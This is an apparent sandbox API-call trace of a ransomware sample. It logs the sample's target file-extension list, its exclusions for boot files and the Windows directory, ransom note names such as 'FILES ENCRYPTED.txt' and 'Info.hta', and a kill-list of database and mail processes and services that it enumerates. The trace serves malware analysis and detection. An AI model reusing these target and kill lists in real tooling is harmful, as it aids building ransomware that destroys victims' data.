	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58ae60 | out: hHeap=0x500000) returned 1
	[0063.863] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ae90, Size=0x20) returned 0x53ec48
	[0063.863] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ec48, Size=0x40) returned 0x51a210
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53f3b8 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58ab78 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545000 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58abd8 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587718 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58ab18 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53f418 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58abf0 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x515650 | out: hHeap=0x500000) returned 1
	[0063.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516458 | out: hHeap=0x500000) returned 1
	[0063.863] lstrlenW (lpString="%systemdrive%") returned 13
	[0063.864] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed38 | out: hHeap=0x500000) returned 1
	[0063.864] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x586c88 | out: hHeap=0x500000) returned 1
	[0063.864] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53f328 | out: hHeap=0x500000) returned 1
	[0063.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5466f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0063.864] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58ab18, Size=0x20) returned 0x53ea18
	[0063.864] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ea18, Size=0x40) returned 0x51a138
	[0063.864] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a138, Size=0x80) returned 0x5869e0
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5869e0, Size=0x100) returned 0x545000
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x200) returned 0x545000
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x400) returned 0x545000
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x800) returned 0x587718
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x587718, Size=0x1000) returned 0x587718
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f3b8, Size=0x8) returned 0x53f398
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f398, Size=0x10) returned 0x58aea8
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x58aea8, Size=0x20) returned 0x53eb30
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eb30, Size=0x40) returned 0x51a408
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a408, Size=0x80) returned 0x586ea8
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x586ea8, Size=0x100) returned 0x545000
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x200) returned 0x545000
	[0063.865] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x400) returned 0x545000
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x800) returned 0x59e380
	[0063.866] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0063.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587718 | out: hHeap=0x500000) returned 1
	[0063.866] lstrlenW (lpString="") returned 0
	[0063.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566c20 | out: hHeap=0x500000) returned 1
	[0063.866] lstrlenW (lpString=".Z9") returned 3
	[0063.866] lstrlenW (lpString=".Z9") returned 3
	[0063.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566c20 | out: hHeap=0x500000) returned 1
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566c50, Size=0x20) returned 0x53ed38
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ed38, Size=0x40) returned 0x51a258
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a258, Size=0x80) returned 0x5867c0
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e338, Size=0x8) returned 0x59e258
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e258, Size=0x10) returned 0x566c50
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566c50, Size=0x20) returned 0x53eb58
	[0063.866] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0063.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5867c0 | out: hHeap=0x500000) returned 1
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566c98, Size=0x20) returned 0x53eb08
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eb08, Size=0x40) returned 0x51a2e8
	[0063.866] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0063.866] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0063.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a2e8 | out: hHeap=0x500000) returned 1
	[0063.866] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566a70, Size=0x20) returned 0x53e8d8
	[0063.866] lstrlenW (lpString="Info.hta") returned 8
	[0063.866] lstrlenW (lpString="Info.hta") returned 8
	[0063.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e8d8 | out: hHeap=0x500000) returned 1
	[0063.866] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x567720, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x52
	[0063.867] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x567720 | out: hHeap=0x500000) returned 1
	[0063.867] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0063.867] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eb58, Size=0x40) returned 0x51a600
	[0063.867] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566c98, Size=0x20) returned 0x53ea18
	[0063.868] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566c98, Size=0x20) returned 0x53ed38
	[0063.868] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ed38, Size=0x40) returned 0x51a648
	[0063.868] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a648, Size=0x80) returned 0x586848
	[0063.868] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x586848, Size=0x100) returned 0x545000
	[0063.868] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.868] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545000 | out: hHeap=0x500000) returned 1
	[0063.868] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x567720, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0063.868] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x59eb88 | out: hHeap=0x500000) returned 1
	[0063.868] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x567720 | out: hHeap=0x500000) returned 1
	[0063.869] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e2d8, Size=0x8) returned 0x59e318
	[0063.869] lstrlenW (lpString="%windir%;") returned 9
	[0063.869] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ea18 | out: hHeap=0x500000) returned 1
	[0063.869] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0063.869] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x556710 | out: hHeap=0x500000) returned 1
	[0063.869] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566a70, Size=0x20) returned 0x53e888
	[0063.869] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e888, Size=0x40) returned 0x51a648
	[0063.869] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a648, Size=0x80) returned 0x586ea8
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x586ea8, Size=0x100) returned 0x545000
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e238, Size=0x8) returned 0x59e338
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e338, Size=0x10) returned 0x567028
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x567028, Size=0x20) returned 0x53ed38
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e268, Size=0x8) returned 0x59e2d8
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e1c8, Size=0x8) returned 0x59e228
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e2a8, Size=0x8) returned 0x59e298
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e298, Size=0x10) returned 0x566da0
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566da0, Size=0x20) returned 0x53ebd0
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e2d8, Size=0x10) returned 0x566f98
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e228, Size=0x10) returned 0x566e60
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e228, Size=0x8) returned 0x59e2a8
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e348, Size=0x8) returned 0x59e2d8
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566f98, Size=0x20) returned 0x53e950
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566e60, Size=0x20) returned 0x53ea18
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e348, Size=0x8) returned 0x59e1a8
	[0063.870] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0063.870] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545000 | out: hHeap=0x500000) returned 1
	[0063.870] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566f98, Size=0x20) returned 0x53e860
	[0063.870] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x556710, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0063.870] lstrlenW (lpString="C:\\") returned 3
	[0063.870] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0063.871] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x556710 | out: hHeap=0x500000) returned 1
	[0063.871] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e348, Size=0x82) returned 0x545090
	[0063.871] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e258, Size=0x100) returned 0x545120
	[0063.871] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545228, Size=0x104) returned 0x545348
	[0063.871] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5867c0, Size=0x100) returned 0x587718
	[0063.871] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545090, Size=0x104) returned 0x587820
	[0063.871] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545120, Size=0x200) returned 0x587930
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x59e248 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587930 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566ed8 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587260 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566d88 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x586e20 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566da0 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587820 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566ea8 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545348 | out: hHeap=0x500000) returned 1
	[0063.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566e18 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5452b8 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x500000) returned 1
	[0063.873] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x567028, Size=0x20) returned 0x53eb08
	[0063.873] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eb08, Size=0x40) returned 0x51a378
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x59e228 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566d58 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545000 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566f50 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587718 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566e00 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x59e238 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x515470 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516038 | out: hHeap=0x500000) returned 1
	[0063.873] lstrlenW (lpString="%systemdrive%") returned 13
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e860 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x587480 | out: hHeap=0x500000) returned 1
	[0063.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x59e298 | out: hHeap=0x500000) returned 1
	[0063.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x58cf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0063.874] WaitForMultipleObjects (nCount=0x2, lpHandles=0x51acb8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0x13c8


Thread:
	id = 4
	os_tid = 0x10c0

	[0063.891] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x566e30
	[0063.891] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566e30, Size=0x20) returned 0x53e978
	[0063.891] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e978, Size=0x40) returned 0x51a2a0
	[0063.891] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a2a0, Size=0x80) returned 0x587480
	[0063.891] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x587480, Size=0x100) returned 0x545210
	[0063.892] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x566e18
	[0063.892] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566e18, Size=0x20) returned 0x53e8b0
	[0063.892] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e8b0, Size=0x40) returned 0x51a330
	[0063.892] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a330, Size=0x80) returned 0x587040
	[0063.892] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x587040, Size=0x100) returned 0x545318
	[0063.892] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x566fc8
	[0063.892] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x59e348
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x566e00
	[0063.902] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e348, Size=0x8) returned 0x59e228
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x5163d8
	[0063.902] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e228, Size=0x10) returned 0x566ea8
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x516358
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1a) returned 0x53e978
	[0063.902] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566ea8, Size=0x20) returned 0x53e860
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1c) returned 0x53e888
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x16) returned 0x516398
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1a) returned 0x53e8b0
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x566de8
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x59e348
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40) returned 0x51a2e8
	[0063.902] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e348, Size=0x8) returned 0x59e298
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x3c) returned 0x51a7b0
	[0063.902] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x59e298, Size=0x10) returned 0x567010
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x515ff8
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x516138
	[0063.902] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x567010, Size=0x20) returned 0x53e8d8
	[0063.902] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x24) returned 0x515650
	[0063.903] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0063.903] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545210 | out: hHeap=0x500000) returned 1
	[0063.903] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0063.903] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545318 | out: hHeap=0x500000) returned 1
	[0063.903] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53eb08
	[0063.903] EnumServicesStatusExW (in: hSCManager=0x53eb08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0063.903] GetLastError () returned 0xea
	[0063.904] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x558718
	[0063.904] EnumServicesStatusExW (in: hSCManager=0x53eb08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x558718, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x558718, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0063.905] CloseServiceHandle (hSCObject=0x53eb08) returned 1
	[0063.905] lstrlenW (lpString="Appinfo") returned 7
	[0063.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0063.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0063.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0063.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0063.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0063.905] lstrlenW (lpString="AppXSvc") returned 7
	[0063.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0063.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0063.905] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0063.906] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0063.906] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0063.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0063.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0063.906] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0063.906] lstrlenW (lpString="Audiosrv") returned 8
	[0063.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0063.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0063.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0063.906] lstrlenW (lpString="BFE") returned 3
	[0063.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0063.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0063.906] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0063.906] lstrlenW (lpString="BITS") returned 4
	[0063.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0063.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0063.906] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
